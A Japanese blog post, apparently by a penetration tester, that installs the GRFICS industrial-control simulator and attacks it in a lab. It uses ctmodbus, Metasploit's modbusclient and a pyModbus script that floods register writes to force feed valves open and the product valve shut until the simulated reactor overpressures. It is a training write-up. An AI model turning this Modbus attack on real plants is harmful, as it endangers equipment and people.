※シミュレーターで。
ペンテスターの皆さん、工場をハッキングする準備は万端ですか?
実際に工場を買収して好きに💥爆発💥させたいところですが、残念ながら我が社には工場を買うお金がありません。
でも大丈夫!貧乏人のためにGRFICSという素晴らしいシミュレーターがあるのです。
僕の給料では工場を買えないので、いつか(合法的に)工場を攻撃する日を夢見てこれで練習します。
注意:本投稿で記述した手法を用いてトラブルなどが発生した場合、当社は一切の責任を負いかねます。本情報の悪用はしないでください。
GRFICS
GRFICSとは、PLCを通じて化学反応を起こすバイオリアクター(化学反応器)のシミュレーターです。
USENIXの ASE'18 で発表されたもので、作者いわくSCADAシステムのセキュリティ教育用に開発したとのことです。
論文
https://www.usenix.org/system/files/conference/ase18/ase18-paper_formby.pdf発表スライド
https://www.usenix.org/sites/default/files/conference/protected-files/ase18_slides_formby.pdf
構成
以下の3台構成となっています。
バイオリアクターのシミュレーター
HMIからの入力をもとにリアクターを操作するPLC
PLCから受け取った情報をもとにバルブやタンクの状態を表示するHMI
下記はシミュレーターの画面です。
シミュレーターではタンクA, Bの二つの原料を真ん中のリアクターに入力・混合し、Productタンクに排出する流れになっています。
PLCでは各タンクに繋がるバルブの開閉を通じて圧力の調整が可能で、シミュレーターの各モジュールからタンク圧力およびバルブ位置を取得します。
PLCは受け取った情報から各タンクが最適な圧力になるようバルブ位置を計算し、シミュレーターの各モジュールにバルブ位置を送信します。
なおシミュレーターの各モジュールとPLC、PLCとHMI間はどちらも、産業ネットワークではメジャーな制御通信プロトコルである「Modbus/TCP」でやりとりされます。
攻撃者の立場としては、何らかの方法でこのシステムにダメージを与えればクリアということになります。
インストール
GitHubに一式が用意されています。
https://github.com/djformby/GRFICS
3台のVMを立ててイチから構築することも可能ですが、怠惰な人向けに構築済みのOVAイメージを提供してくれているのでありがたく利用します。
それぞれのVMのOVAイメージをGoogleドライブからダウンロードします。
PLC VM (MD5 checksum ad121c6afad99784f7178eb8b98f9853):
https://drive.google.com/open?id=1lktm8odvJmWowOYUq5VwzLTtKVwCb8yFSimulation VM (MD5 checksum e59b65222d9da143fe13118635caa1d5):
https://drive.google.com/open?id=1ZN7u_WPUGHsEeos09NITpLImbeU9LKpIHMI VM (MD5 checksum 6c27e87c742d75580c1bd05119e0d348):
https://drive.google.com/open?id=1MJpiA-yt89xgTCYVJocddhE4_OUvvWG4
※上記のURLは変更される可能性があります。最新のURLは GitHub の README.md を参照してください。
VirtualBoxの環境設定からホストオンリーアダプタを作成し、IPv4アドレスを 192.168.95.1 に設定します。
ダウンロードしたOVAイメージをインポートしたあと、各VMの設定からネットワークを参照し、ホストオンリーアダプタが設定されていることを確認しOKで閉じます。
全てのVMを起動します。
GRFICSの起動
※どのVMもユーザ名「user」、パスワード「password」となっています。
Simulation VM
userでログインしデスクトップ画面が表示されたら、ターミナルを2つ起動します。
-
ターミナルAにてシミュレーターGUIを起動します。
user@simulation:~$ cd HMI_Simulation_Ubuntu1604_15_x86_64/ user@simulation:~/HMI_Simulation_Ubuntu1604_15_x86_64$ sudo ./HMI_Simulation_Ubuntu1604_15_x86_64.x86_64
※画面解像度・品質の設定画面が表示されますが、1024x600 以上がオススメです。品質は任意で。
テキスト入力欄に「/home/user/simulation/simulation」と入力し、Run Serverをクリックします。
次にStart を押し、リアクターと各タンクの圧力表示がいい感じになっていれば大丈夫です。
※Run Serverが失敗すると、各テキストの表示が数値ではなく「Text」という表示になります。
そうなったらもう一度試したりVMを再起動したりしてやり直してください。※バルブ開度の初期値は排出よりも入力の方が大きいです。
そのためPLCを起動しないままこの状態で放置するとリアクターの圧力が高まり、最終的にはリアクターが圧力に耐えきれず爆発します。ターミナルBで、PLCとやりとりするためのサーバを立ち上げます。
user@simulation:~$ cd simulation/remote_io/ user@simulation:~/simulation/remote_io$ sudo bash run_all.sh
PLC VM
userでログインしプロンプトが表示されることを確認します。
OpenPLCサーバを立ち上げます。
user@plc:~$ cd OpenPLC_v2 user@plc:~/OpenPLC_v2$ sudo nodejs server.js
"Working on port 8080"と表示されたらOKです。
HMI VM
userでログインしデスクトップ画面が表示されたら、ターミナルを起動します。
wineコマンドでHMIを起動します。
user@hmi-station:~$ wine HMI/AdvancedHMI.exe
起動後、各バルブの表示がいい感じになっていれば大丈夫です。
また、PLCにはWebコンソールが存在します。HMIからWebコンソールにアクセスしてみましょう。
WebコンソールのURLは http://192.168.95.2:8080/ です。
このコンソールではPLCの稼働・停止のほか、ログの確認やPLCプログラムの書き換えが可能です。
正常な状態を楽しむ
上記で設定は終了です。
リアクターの圧力やバルブのパーセンテージがなだらかに上がったり下がったりする様子をみて侘び寂びを感じましょう。
シミュレーターとHMIとでバルブや圧力(kPa)の数値が若干異なるようですが、多分仕様だと思います。
攻撃方法の考察
シミュレーターとPLCのオーケストレーションを感じたところで、さっそくこいつを破壊してみます。
GRFICSの最終目標としては、リアクターを爆発させることみたいです。
どうすれば爆発するのでしょうか。
ここでGRFICSの作者による論文に記載してある、攻撃者のアプローチを見てみます。
Lowering the Barriers to Industrial Control System Security with GRFICS https://www.usenix.org/conference/ase18/presentation/formby
攻撃手法
爆発の条件
作者は論文内でこのように記述しています。
who is attacking the system succeeds in forcing the pressure in the reactor vessel to exceed the safety limit of 3200 kilopascals, an explosion effect plays on top of the reactor vessel followed by fire effects, illustrated in Figure 8.
リアクターの圧力が3200kPaを上回れば爆発するようです。
ならば圧力を上げるにはどうすればいいでしょうか。入力>排出 となるようにバルブの位置を変えればいいのです。
このようなバルブの位置を操作するためのアプローチとして、作者は以下のシチュエーションを想定しています。
HMIに侵入しPLCを操作する
パスワードが弱いことを利用してHMIに侵入し、Webコンソールを利用してPLCを操作します。
PLCをぶっ壊す
PLCが利用しているModbus実装のlibmodbusは、バッファオーバフローの脆弱性があるバージョンのようです。
これを利用してPLCをぶっ壊し、制御不能にします。Modbus通信に不正なデータを挿入する
HMI・PLC間、およびPLC・シミュレーター間はどちらもModbus/TCPによって操作されます。
Modbusで圧力・バルブの管理しているレジスタを特定できれば不正な操作が可能です。
※他にもPLCのWebコンソールから悪意のあるラダー図を送り込んで操作する方法もありますが、割愛します。
攻撃aはとても簡単です。パスワードを特定してログインしたあと、圧力の上昇過程(バルブが入力>排出となっている状態)でPLCのWebコンソールを用いてPLCを停止すればいいのです。
攻撃bもModbusの実装・バージョンが特定できれば簡単です。(調べたらexploit出てきました)
個人的に興味が湧いたのは攻撃cの不正なデータの挿入です。
Modbus通信に不正なデータを挿入する
攻撃の特徴
この攻撃の大きなメリットはステルス性にあると考えます。
攻撃aは侵入後、PLCのWebコンソールからPLCを停止することで攻撃が可能ですが、正常に停止するため管理者にすぐに検知・修復されてしまいます。
また攻撃bに関してもPLCが異常停止するとアラートが発報されるはずなので、管理者によってすぐに再起動されます。
ただ攻撃cは違います。裏で攻撃プログラムをひっそり動かし、シミュレーターに対してバルブを開く通信を出すだけなので、PLCの状態に依存しません。
HMI・PLCが通常通り動いているのにバルブが勝手に開き圧力がどんどん上がっていくので、管理者が慌てふためき、手遅れな状態になることが想像できます。
ということで今回はこの攻撃を試してみます。
※ここから先はネタバレです。自分で試したい人は頑張ってください。
攻撃の条件
Attackerからバルブモジュールに通信が可能であること
今回はネットワークに侵入できたとして、Attackerから直接シミュレーターの各バルブモジュールにアクセスができる必要があります。
ただ今回は幸いにも同じサブネットでありファイアウォールも構成されていないので条件はクリアです。
バルブモジュールを操作するための各情報を知っていること
今回、バルブの位置をモジュールに知らせるために Modbus/TCP が使われています。
各モジュールはそれぞれIPアドレスが割り当てられており、Modbusサーバが稼働しています。
またModbusは モジュールの識別のために UNIT ID が存在します。
通常のModbusではUNIT IDは通常利用されず0や1に固定されますが、実装によっては別のUNIT IDが割り当てられていることがあります。次にバルブ開度に関するレジスタの特定です。
Modbusはファンクションという機能があり、一般的に以下が定義されています。
Coil
Input Status
Holding Register
Input Register
Modbusはこれらのファンクションに対して、Read/Writeの操作が可能です(Coilは状態操作なのでON/OFFが切り替わる)。
バルブ開度の操作は全閉から全開までの範囲の値をとるものであり、アナログの出力となるのでHolding Registerと想定されますが、どの値をとりうるかは実装に依存します。
この攻撃で一番の壁となるのはこの値の特定です。
特定を行うには複数の方法が考えられます。
PLCのラダープログラムを窃取
PLC・バルブモジュール間のModbus通信を盗聴
仕様書を窃取
ネットワークスキャンを行い、Modbusサーバを特定したうえでレジスタを総当たりでスキャン
1はPLCサーバに侵入することで可能ですが、今回はPLCに入らない前提で考えます。
2はPLCサーバに侵入、あるいは通信路でMITMをすることで可能です。
3, 4 は業務ネットワークに侵入することで可能です。今回は幸運にも仕様書が窃取できます。GitHubに大変貴重な仕様書が存在するのです。
modbus_documentation.txt
GRFICSのリポジトリに意味深なドキュメントが存在するので見てみましょう。
https://github.com/djformby/GRFICS/blob/master/modbus_documentation.txt
GRFICS Modbus Mapping
REMOTE MODBUS IO DEVICES
192.168.95.10 - feed 1
holding register 1 - valve position set point 0-65535, where 0 is closed and 65535 is open
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.11 - feed 2
holding register 1 - valve position set point
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.12 - purge valve
holding register 1 - valve position set point
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.13 - product valve
holding register 1 - valve position set point
input regiser 1 - valve position reading
input register 2 - flow rate through valve
192.168.95.14 - tank
input register 1 - pressure
input register 2 - level
192.168.95.15 - analyzer
input registers 1-3 composition of gases in reactor
The PLC polls all of the remote IO, uses the measurements for its control algorithm,
and reports scaled values back to the HMI (192.168.95.3) for display
192.168.95.2 - PLC
holding registers being polled by HMI
1044 - reactor pressure
1045 - reactor liquid level
1046 - feed 1 valve position
1047 - feed 1 flow rate
1048 - feed 2 valve position
1049 - feed 2 flow rate
1050 - purge valve position
1051 - purge flow rate
1052 - product valve position
1053 - product flow rate
これを読むと 192.168.95.10 - 13 が各バルブモジュールのIPアドレスであり、Input Register 1 を読むことでバルブの位置が取得でき、Holding Register 1 を書くことでバルブの位置を変更できるようです。
バルブ位置を取得する
バルブの位置を変える前に、タンクAに繋がるバルブの位置が取得できるかを確認します。
タンクAのバルブモジュールは、上記のドキュメントにあるfeed1に対応しています。
今回は標的ネットワークに侵入できたという想定なので、同一サブネット上にKali Linuxを召喚します。(ユルシテ・・・)
さて、Modbusクライアントをどうするかですが、まずは単発で送るので、個人的に気に入っているツールである ctmodbus を使いました。(MetasploitのmodbusclientはInput Registerを読めない・・・)
まずはタンクAのバルブモジュールに接続します。
ctmodbus> connect_tcp 192.168.95.10
接続に成功すると、Successの表示がされます。
まずは Input Register 1 を読んでみます。このときのバルブの状態は0%でした。
ctmodbus> read_input_registers 1
値「0」が返りました。
次にバルブの状態が100%になったときに再度 Input Register 1 を読んでみます。
値「ffff」が返りました。正常にバルブの値が取れていることがわかります。
ちなみに、ctmodbus がリクエストするときのUNIT IDの値は「1」となっており、変更はできません。
ただ今回はUNIT IDが1でも正常に読めているので問題ありません。
バルブ位置の変更を試行する
読み込みができたので書き込みもできるに違いありません。
試しにバルブ位置が0%の状態で Holding Register 1 に値を書き込んでみます。
ただし注意点として、今回は本来のPLCが最適なバルブ位置、つまりここでは0%になるように定期的にバルブモジュールに対してModbus通信を流していることに留意してください。
つまり攻撃時は1回の送信だけではなく、本来の通信に勝つように何度も送り続ける必要があるのです。
というわけで、ctmodbusを使って手動で指を酷使して通信を送り込んでみました。
残念ながら何度試しても100%になりませんでした😭😭
Write Multiple Register で試す
ちょっと待ってください!今回送ったのは Write Single Register です。もしかしたら Write Multiple Register なら反応するかもしれません!
ただctmodbusで Write Multiple Register を送る場合はトリッキーな方法が必要なので、今回はMetasploit の modbusclient を使って試します。
以下のようにオプションを設定しました。
msf5 auxiliary(scanner/scada/modbusclient) > options
Module options (auxiliary/scanner/scada/modbusclient):
Name Current Setting Required Description
---- --------------- -------- -----------
DATA no Data to write (WRITE_COIL and WRITE_REGISTER modes only)
DATA_ADDRESS 1 yes Modbus data address
DATA_COILS no Data in binary to write (WRITE_COILS mode only) e.g. 0110
DATA_REGISTERS 65535 no Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4
NUMBER 1 no Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)
RHOSTS 192.168.95.10 yes The target address range or CIDR identifier
RPORT 502 yes The target port (TCP)
UNIT_NUMBER 1 no Modbus unit number
Auxiliary action:
Name Description
---- -----------
WRITE_REGISTERS Write words to several registers
いざ!
できました。
一瞬ですが 0% から 100% になり、本来のPLCによってすぐに0%に戻されました。
リアクターを爆発させてみた
先の内容から、Write Multiple Register を使えばバルブの位置を変更できることがわかりました。
ここで改めて、どうすればリアクターが爆発させられるかをまとめましょう。
爆発させるためにはリアクターの圧力を 3200kPa にすればよい
圧力をあげるには、リアクターの状態が 入力>排出 となるようなバルブの位置にすればよい
入力>排出 にするためには、入力のバルブ開度を100% に、排出のバルブ開度を0%にすればよい
よって、タンクAバルブ、タンクBバルブの開度を100%、Productバルブの開度を0%にすればよい
ということで、3つのバルブの状態を、本来のPLCに負けないように高頻度に送り続けることにします。
ただ3つのバルブの操作を手動で送信し続けるには手が足りないし、腱鞘炎になってしまいます。
pyModbusで自動化
こんな時は自動化です。幸いにもPythonにはpyModbusという素晴らしいライブラリがあるので、これを使ってexploitを書いてみます。
import time
from threading import Thread
class ModBus(Thread):
def __init__(self, host, port, unit_id, data, interval, debug=False, **kwargs):
super(ModBus, self).__init__(**kwargs)
self.host = host
self.port = port
self.unit_id = unit_id
self.data = data
self.interval = interval
self.isDebug = debug
def run(self):
self.bus = ModbusClient(host=self.host \
,port=self.port \
,unit_id=self.unit_id )
self.bus.debug(self.isDebug)
self.bus.open()
if not self.bus.is_open():
raise Exception()
while True:
if self.bus.is_open():
self.bus.write_multiple_registers(1, [self.data])
time.sleep(self.interval)
def main():
INTERVAL = 0.05
#TankA valve
ModBus(host="192.168.95.10", port=502, unit_id=1, data=65535, interval=INTERVAL, debug=True).start()
#TankB valve
ModBus(host="192.168.95.11", port=502, unit_id=1, data=65535, interval=INTERVAL, debug=True).start()
#Product valve
ModBus(host="192.168.95.13", port=502, unit_id=1, data=0, interval=INTERVAL, debug=True).start()
if __name__ == '__main__':
main()
実行
早速やってみます。
実行後、タンクAバルブ、タンクBバルブが100%に、Productバルブが0%になり、圧力が急上昇していきます。
ゲージがどんどんあがっていきます。
~そして伝説へ~
終
制作・著作
━━━━━
ⓈⒽⓊ
※論文では3200kPaと書いてありましたが、3100kPaで爆発しました。